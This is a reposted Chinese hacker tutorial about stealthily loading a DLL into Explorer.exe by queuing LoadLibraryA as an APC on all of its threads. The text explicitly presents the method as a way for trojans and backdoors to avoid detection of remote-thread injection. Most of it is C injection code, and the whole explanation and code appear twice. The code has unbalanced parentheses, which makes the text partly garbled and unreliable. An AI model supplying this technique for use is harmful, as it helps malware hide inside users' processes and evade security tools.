駭客系列教程之暴力注入Explorer(轉)
駭客系列教程之暴力注入Explorer(轉)[@more@] 向一個執行中的程式注入自己的程式碼,最自然莫過於使用CreateRemoteThread,如今遠執行緒注入已經是氾濫成災,同樣的監測遠執行緒注入、防止遠執行緒注入的工具也舉不勝舉,一個木馬或後門啟動時向Explorer或IE的注入操作就像在自己臉上寫上“我是賊”一樣。
使用者態程式碼想要更隱蔽地藏身於別的程式,就應該在注入的環節隱蔽自己的行為。下面就介紹一種非常簡單不過比較暴力的方法,給出的示例為在Explorer里載入自己的dll。
首先提到的就是一個API:QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter
;
大家對這個API應該並不陌生,它直接轉入了系統服務NtQueueApcThread從而利用KeInsertQueueApc向給出的目標執行緒的APC佇列插入一APC物件。倘若KiDeliverApc順利的去構造apc環境並執行我們的程式碼那一切就OK了,只可惜沒有那麼順利的事,ApcState中UserApcPending是否為TRUE有重要的影響,結果往往是你等到花兒都謝了你的程式碼還是沒得到執行。在核心態往往不成問題,自己動手賦值,可是使用者態程式可不好做,怎麼辦?其實最簡單的,不好做就不做囉,讓系統去幹。
實際上應用程式在請求“alertable”的等待時系統就會置UserApcPending為TRUE(當KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending時就有可能,此外還有KeTestAlertThread等,機會還是有的),最簡單的例子,目標執行緒呼叫SleepEx(***, TRUE)後我們插入APC程式碼就會乖乖執行了。
比較幸運的是Explorer程式中一般情況下總有合我們意的執行緒,於是最簡單但並不優美的辦法就是列舉Explorer中所有執行緒,全數插入,示意如下:
......
DWORD ret;
char *DllName = "c:MyDll.dll";
int len = strlen(DllName) + 1;
PVOID param = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess, param,
(LPVOID)DllName, len, &ret))
{
for (DWORD p = 0; p < NumberOfThreads; p ++)
{
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0)
{
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}
......
其中InjectDll:
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA",
hThread,
(DWORD)param
;
}
使用者態程式碼想要更隱蔽地藏身於別的程式,就應該在注入的環節隱蔽自己的行為。下面就介紹一種非常簡單不過比較暴力的方法,給出的示例為在Explorer里載入自己的dll。
首先提到的就是一個API:QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter
;
大家對這個API應該並不陌生,它直接轉入了系統服務NtQueueApcThread從而利用KeInsertQueueApc向給出的目標執行緒的APC佇列插入一APC物件。倘若KiDeliverApc順利的去構造apc環境並執行我們的程式碼那一切就OK了,只可惜沒有那麼順利的事,ApcState中UserApcPending是否為TRUE有重要的影響,結果往往是你等到花兒都謝了你的程式碼還是沒得到執行。在核心態往往不成問題,自己動手賦值,可是使用者態程式可不好做,怎麼辦?其實最簡單的,不好做就不做囉,讓系統去幹。
實際上應用程式在請求“alertable”的等待時系統就會置UserApcPending為TRUE(當KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending時就有可能,此外還有KeTestAlertThread等,機會還是有的),最簡單的例子,目標執行緒呼叫SleepEx(***, TRUE)後我們插入APC程式碼就會乖乖執行了。
比較幸運的是Explorer程式中一般情況下總有合我們意的執行緒,於是最簡單但並不優美的辦法就是列舉Explorer中所有執行緒,全數插入,示意如下:
......
DWORD ret;
char *DllName = "c:MyDll.dll";
int len = strlen(DllName) + 1;
PVOID param = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess, param,
(LPVOID)DllName, len, &ret))
{
for (DWORD p = 0; p < NumberOfThreads; p ++)
{
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0)
{
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}
......
其中InjectDll:
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA",
hThread,
(DWORD)param
;
}
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617542/viewspace-962826/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 駭客系列教程之脫殼的各種方法(轉)
- Wireshark駭客發現之旅(4)——暴力破解
- OpenGL系列教程之一:OpenGL(轉)
- 駭客系列知識之入門技術——DOS全集(轉)
- 駭客教程之灰鴿子VIP2006終極免殺技術(轉)
- [教學] LPI 考試準備系列教程(轉)
- 駭客經驗談系列之入侵3389起源完整編(轉)
- canvas系列教程之簡介Canvas
- 依賴注入系列教程依賴注入
- 駭客基本功 淺談病毒,木馬,駭客(轉)
- canvas系列教程之繪製矩形Canvas
- 入門系列-依賴注入依賴注入
- PHP DIY 系列------框架篇:8. 依賴注入和控制反轉PHP框架依賴注入
- Spring系列第八講 依賴注入之手動注入Spring依賴注入
- Spring原始碼系列:依賴注入(三)-屬性注入Spring原始碼依賴注入
- Spring系列.依賴注入配置Spring依賴注入
- Play! Framework 系列(三):依賴注入Framework依賴注入
- 駭客到底有多黑-駭客群體構成,技術起源概述 (轉)
- Webmin 暴力破解+ 執行命令(轉)Web
- 用VB學做“駭客”程式 (轉)
- 一個在駭客界引起轟動的菜鳥教材---跟我學程式設計系列(轉)程式設計
- 駭客攻擊日誌記錄(轉)
- 駭客避開檢測的手段(轉)
- Flutter開發系列教程之網路請求Flutter
- Spring Security系列教程之一簡介Spring
- 駭客洗白,轉換陣營加入受害公司(轉)
- 火眼金睛選培訓系列之二:教學的謊言 (轉)
- Spring原始碼系列:依賴注入-引言Spring原始碼依賴注入
- 擁抱.NET Core系列:依賴注入(1)依賴注入
- 擁抱.NET Core系列:依賴注入(2)依賴注入
- Spring核心系列之Bean的注入SpringBean
- Windows程式設計系列:遠執行緒注入Windows程式設計執行緒
- CVS教學(轉)
- canvas系列教程之多線條組成圖形Canvas
- Shiro系列教程之一Shiro簡介
- 專案管理過程之風險控制 (轉)專案管理
- 【Web Services】建立過程之四(完) (轉)Web
- 專案管理過程之風險控制(轉)專案管理